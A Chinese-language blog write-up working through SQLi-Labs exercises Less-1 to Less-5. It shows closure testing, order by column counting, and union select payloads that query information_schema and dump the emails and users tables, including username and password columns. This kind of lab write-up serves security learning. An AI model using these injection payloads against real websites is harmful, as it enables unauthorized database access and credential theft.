首页 > 数据库 >【Loading 4/75】Web_SQLi-Labs_WriteUp

【Loading 4/75】Web_SQLi-Labs_WriteUp

时间:2024-07-19 21:43:48浏览次数:13  
标签:Web Loading 传入 WriteUp Less 闭合 --+ id select

Less-1_GET-Error based-Single quotes-String

题目

分析

根据标题“GET-Error based-Single quotes-String(基于错误的 GET 单引号字符型注入)”可以猜到本题的闭合方法为单引号闭合,但保险起见咱还是走一遍流程。

根据页面给出的提示信息“Please input the ID as parameter with numeric value(请输入 ID 作为数值参数)”,经多次尝试推测出变量名为 id,且 id 值的范围为 1-8。

固定 id 值为 1,尝试 ' " ) ') ") 进行闭合,结果仅 '') 出现报错,根据两次报错内容判断闭合方式为单引号闭合。


使用 order by 查询当前表的字段数,由二分法从 10 开始尝试至 3,发现 order by 4 时页面显示报错信息,但 order by 3 时页面正常显示。判断字段数为 3。


接下来的步骤就是查数据库名-查表名-查列名(字段名)-查字段值,这里使用联合查询 union select 查找回显点。传入 ?id=' union select 1,2,3--+ 得到 2、3 的位置为回显点。


我们使用 2 位置作为回显点,?id=' union select 1,database(),3--+ 得到数据库名 secerity


继续查询数据库中的表名,传入 ?id=' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="security"),3--+,获得所有表名。


任选一个表查看其列名,这里咱看看 emails 表:?id=' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="emails"),3--+,显然该表中存在俩列,分别是 idemail_id


最后查看字段值,这里选择 email_id 列进行查看,传入 ?id=' union select 1,(select email_id from emails),3--+ 回显 Subquery returns more than 1 row,于是咱还是使用 group_concat() 将多行结果作一行输出。传入 ?id=' union select 1,(select group_concat(email_id) from emails),3--+ 得到回显。


同理可查看其他字段的值。

知识点与参考

  1. 在添加注释符的时候发现使用 # 注释失败,但使用 --+ 却成功了,因为在 get 请求中,# 符号用于指导浏览器动作,是位置标识符,该字符不会被传输到服务器端。具体原因参考 SQL注入中,注释#、 --+、 --%20、 %23到底是什么意思?sqli-labs-master-Dooz-CSDN
  2. 查表中某字段的值,一般顺序为:查数据库名-查表名-查列名(字段名)-查字段值
    查数据库名:database()
    查表名:select table_name from information_schema.tables where table_schema="数据库名"
    查列名:select column_name from information_schema.columns where table_name="表名"
    查值:select 列名 from 表名
  3. 查询数据库时传入的闭合前的值需不存在返回值,即可在 ' 前不传参数或传入空值,否则可能导致查询数据库的结果无法回显。
  4. 若查询结果存在多行,可使用 group_concat() 函数将多行结果以 , 分隔开按一行输出。
  5. 判断字符型注入与数字型注入可参考 [如何判断是字符型注入还是数字型注入-
    二潘-简书](http://82d8ff99-bdd3-42bc-bff7-40bc3d5b740e.node5.buuoj.cn/Less-2/?id=1 or 1=1--+)

Less-2_GET-Error based-Intiger based

题目

分析

标题传递了两个信息:

  1. GET 传参
  2. 基于整数

猜测本题参数为数值型。


首先判断注入类型。传入 ?id=1 and 1=1,页面正常显示。


传入 ?id=1 and 1=2,页面无回显,确实是数字型注入。


之后的步骤就与 Less-1 无异了。


使用 order by 多次尝试,得出字段数为 3。


将 id 值改为 -1,联合查询找回显点,确定回显点位于 2,3。


将位置 2 作为回显点,查数据库名。


查表名。


这次查个 users 表的列名。


一次性查看 username 列和 password 列的值。

Less-3_GET-Error based-Single quotes with twist-string

题目

分析

题目的大意为“基于错误的 GET 单引号变形字符型注入”。


与 Less-2 一样,先判断闭合方式。传入 ?id=1' and '1'='1 时页面正常显示,传入 ?id=1' and '1'='2 时无回显,初步判断为 ' 闭合的字符型注入。


但在传入 ?id=1' and '1'='1'--+ 时出现报错,在传入 ?id=1' and '1'='1')--+ 时正常回显,判断闭合符号不止 ',实际为 ')


接下来的步骤与 Less-1 和 Less-2 相同。order by 判断列数。


更改无效 id 值后联合查询判断回显点。


查数据库名。


查表名。


查 users 表的列名。


查 username 和 password 列的值。

知识点与参考

  1. 字符型注入的常见闭合方式有 ' " ) ') ") 五种,其中 ') ") 中的单双引号仅包裹注入参数中的数字,即 id=('1' and '1'='1') 而非 id=('1') and ('1')=('1')

Less-4_GET-Error based-Double Quotes-String

题目

分析

标题大意“基于错误的 GET 双引号字符型注入”。猜测该题使用 " 闭合输入参数。


与 Less-3 同理,传入 ?id=1" and "1"="1 正常回显,传入 ?id=1" and "1"="2 无回显。


保险起见检查一下是 " 闭合还是 ") 闭合。传入 ?id=1" and "1"="1"--+ 报错,传入 ?id=1" and "1"="1")--+ 正常回显。判断闭合方式为 ")


接下来的步骤和前几题一个样。


查字段数。


查回显点。


查数据库名。


查表名。


查 users 表的列名。


查 username 和 password 列的值。

Less-5_GET-Double Injection-Single Quotes-String

题目

分析

标题大意“双注入GET单引号字符型注入”,双注入指代不明,但可以猜测是单引号闭合的注入。


先尝试使用单引号闭合,发现存在过滤。


依次传入 ?id=1 and 1=1--+?id=1 and 1=1--+ 发现回显同上;传入 ?id=1' and '1'='1'--+ 回显同上,传入 ?id=1' and '1'='2'--+ 无回显;传入 ?id=1' and '1'='1')--+ 出现报错,判断为 ' 闭合的字符型注入。


因为存在过滤,咱无法通过回显内容获得信息,这里我们采用布尔盲注,常用的函数有 length() ascii() substr()

标签:Web,Loading,传入,WriteUp,Less,闭合,--+,id,select
From: https://www.cnblogs.com/Guanz/p/18306260

相关文章

  • Javaweb项目|电子商城购物平台的设计与开发+ssm小程序
    Javaweb项目|电子商城购物平台的设计与开发+ssm小程序收藏点赞不迷路 关注作者有好处文末获取源码一、系统展示二、万字文档展示 基于电子商城购物平台的设计与开发+ssm小程序开发语言:Java数据库:MySQL技术:Spring+SpringMVC+MyBatis+Vue工具:IDEA/Ecilpse、Navicat......
  • JavaScript 异步编程:提升现代Web应用的性能与体验
    异步概念解析在编程领域,异步(Asynchronous)是一种允许程序继续执行而不等待某个操作完成的机制,与之相反的是同步(Synchronous),其中程序会暂停并等待每个操作完成才继续下一步。异步编程的核心优势在于提高了应用程序的响应性和资源利用率。想象一下,你正在厨房准备晚餐,同步操作......
  • swoole4 websocket + pdo连接池
    <?phpdeclare(strict_types=1);namespaceapp\api\controller\yy;useapp\common\controller\Api;useSwoole\Coroutine;useSwoole\Database\PDOConfig;useSwoole\Database\PDOPool;useSwoole\Runtime;usethink\Controller;classWebsocket{......
  • WebKit 的 Web SQL 数据库:现代浏览器的本地存储解决方案
    WebKit的WebSQL数据库:现代浏览器的本地存储解决方案随着Web应用的不断发展,对本地存储的需求也日益增加。WebKit作为许多现代浏览器的核心引擎,提供了一种强大的本地存储解决方案:WebSQL数据库。本文将详细探讨WebSQL数据库的工作原理、支持情况以及如何利用它进行数......
  • 使用Memcached加速Web应用程序
    使用Memcached加速Web应用程序1.介绍Memcached基本概念Memcached:一个高性能的分布式内存对象缓存系统,用于加速动态Web应用程序。工作原理:将数据存储在内存中,从而减少对数据库的读取次数,提高数据读取速度。为什么使用Memcached减少数据库负载:通过缓存频繁访问的数据,降......
  • WebKit 引擎:Web 组件的崛起与支持
    WebKit引擎:Web组件的崛起与支持在现代Web开发中,组件化是构建可维护、可重用和模块化Web应用的关键策略。Web组件(WebComponents)是一种标准技术,允许开发者创建封装的自定义元素,这些元素可以像标准的HTML元素一样使用。WebKit引擎,作为许多流行浏览器的核心,如Safari,对Web......
  • python+flask计算机毕业设计基于WEB技术的校园红歌曲库管理系统的设计与实现(程序+开题
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容研究背景随着信息技术的飞速发展和互联网的广泛普及,数字化管理已成为提升工作效率与服务质量的重要手段。在校园文化建设中,红歌作为传承红色文化、......
  • 编织文字之美:WebKit的CSS文本格式化能力全解析
    编织文字之美:WebKit的CSS文本格式化能力全解析在网页设计中,文本不仅是传递信息的媒介,更是展现美学的重要元素。WebKit,作为Safari、QQ浏览器等众多浏览器的内核,提供了强大的CSS文本格式化支持。通过CSS,开发者可以对文本进行丰富的样式设计,从而提升用户体验和网站的视觉吸引......
  • 动态美学:WebKit中CSS转换与动画的魔力
    动态美学:WebKit中CSS转换与动画的魔力在现代网页设计中,CSS转换(Transforms)和动画(Transitions)是实现动态效果的两大法宝。它们能够为用户带来流畅、直观的交互体验。WebKit,作为Safari、QQ浏览器等众多浏览器的核心引擎,对CSS转换和动画提供了全面的支持。本文将深入探讨WebKit......
  • 构建Web应用的秘诀:Gradle中的Web应用插件配置
    标题:构建Web应用的秘诀:Gradle中的Web应用插件配置在现代软件开发中,Web应用扮演着至关重要的角色。Gradle,作为一个强大且灵活的构建工具,提供了丰富的插件来简化Web应用的构建和部署过程。本文将详细解释如何在Gradle中配置Web应用插件,并通过示例代码展示具体的配置步骤。1.......